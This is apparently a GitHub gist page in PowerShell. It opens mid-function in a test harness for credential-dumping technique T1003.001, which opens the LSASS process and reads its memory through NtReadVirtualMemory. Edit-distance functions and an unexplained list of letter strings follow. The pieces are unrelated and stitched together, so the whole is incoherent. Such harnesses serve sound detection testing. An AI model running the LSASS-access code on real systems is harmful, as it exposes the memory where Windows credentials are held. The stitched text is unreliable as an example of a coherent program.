'Ntdll!NtReadVirtualMemory' {
$ProcessHandle = [AtomicTestHarnesses.ProcessNativeMethods]::OpenProcess(
$AccessRights,
$False,
$ProcessId
);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
if($ProcessHandle -eq [IntPtr]::Zero){
Write-Error $LastError
return
}
$BytesRead = 0
[IntPtr]$lpBuffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1024)
$lpBaseAddress = (Get-Process -Name lsass -Module)[0].BaseAddress
$Success = [AtomicTestHarnesses.ProcessNativeMethods]::NtReadVirtualMemory(
$ProcessHandle,
$lpBaseAddress,
$lpBuffer,
1024,
[ref]$BytesRead
);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
if($Success -ne 0){
Write-Error $LastError
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($ProcessHandle);
$Free = [System.Runtime.InteropServices.Marshal]::FreeHGlobal($lpBuffer)
return
}
else{
$TestSuccess = $true
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($ProcessHandle)
$Free = [System.Runtime.InteropServices.Marshal]::FreeHGlobal($lpBuffer)
}
[PSCustomObject] @{
TechniqueID = 'T1003.001'
StartingFunction = $Variant
FunctionPath = $FunctionPath
TestSuccess = $TestSuccess
TestGuid = $TestGuid
TestCommand = $TestCommand.Line
SourceUser = $SourceUser
SourceExecutableFilePath = $SourceProcessPath
SourceExecutableFileHash = $SourceExeHash
SourceProcessId = $PID
GrantedRights = $AccessRights
TargetExecutableFilePath = $TargetExecutablePath
TargetExecutableFileHash = $TargetExeHash
TargetProcessId = $ProcessId
DumpFile = $null
}
break
}
}
}
END {
}
}
function LevenshteinDistance([string]$a, [string]$b) {
# Create empty edit distance matrix for all possible modifications of
# substrings of a to substrings of b.
$distanceMatrix = (0..($b.Length + 1)).ForEach( {New-Object object[] ($a.Length + 1)} )
# Fill the first row of the matrix.
# If this is first row then we're transforming empty string to a.
# In this case the number of transformations equals to size of a substring.
for ($i = 0; $i -le $a.length; $i += 1) {
$distanceMatrix[0][$i] = $i
}
# Fill the first column of the matrix.
# If this is first column then we're transforming empty string to b.
# In this case the number of transformations equals to size of b substring.
for ($j = 0; $j -le $b.length; $j += 1) {
$distanceMatrix[$j][0] = $j;
}
for ($j = 1; $j -le $b.length; $j += 1) {
for ($i = 1; $i -le $a.length; $i += 1) {
$indicator = if ($a[$i - 1] -eq $b[$j - 1]) {0} else {1}
$min = [math]::Min(($distanceMatrix[$j][$i - 1] + 1), ($distanceMatrix[$j - 1][$i] + 1))
$distanceMatrix[$j][$i] = [math]::Min($min, ($distanceMatrix[$j - 1][$i - 1] + $indicator))
}
}
$distanceMatrix[$b.length][$a.length]
}
function NormalizedEditDistance([string]$x, [string]$y) {
# Calculate the Edit Distance (D_e) otherwise known as the Levenshtein Distance between the two strings (x and y)
$D_e = LevenshteinDistance -a $x -b $y
# Normalize the Edit Distance based on the length of strings
$D_ne = $D_e / ($x.Length + $y.Length)
$props = [ordered]@{
FirstString = $x
SecondString = $y
EditDistance = $D_e
MetricEditDistance = $D_ne
}
Write-Output (New-Object -TypeName psobject -Property $props)
}
ADFGH
DFGH
FGH
GH
H
BEFGH
EFGH
CEFGH
12
2
3EF
ABC3EF
ABCDEF
ABCIEF
BC3EF
BCDEF
BCIEF
C3EF
CDEF
CIEF
DEF
EF
F
GH3EF
GHDEF
GHIEF
H3EF
HDEF
HIEF
IEF
JKIEF
JKLEF
JKMEF
KIEF
KLEF
KMEF
LEF
MEF
NORS12
NORSYZEF
ORS12
ORSYZEF
PS12
PSYZEF
QRS12
QRSYZEF
RS12
RSYZEF
S12
SYZEF
TUX12
TUXYZEF
UX12
UXYZEF
VUX12
VUXYZEF
WX12
WXYZEF
X12
XYZEF
YZEF
ZEF
function YujianBoDistance([string]$x, [string]$y) {
# Calculate the Edit Distance (D_e) otherwise known as the Levenshtein Distance between the two strings (x and y)
$D_e = levenshteinDistance -a $x -b $y
# Normalize the Edit Distance based on the length of strings
$D_yb = (2 * $D_e) / ($x.Length + $y.Length + $D_e)
$props = [ordered]@{
FirstString = $x
SecondString = $y
EditDistance = $D_e
YujianBoDistance = $D_yb
}
Write-Output (New-Object -TypeName psobject -Property $props)
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment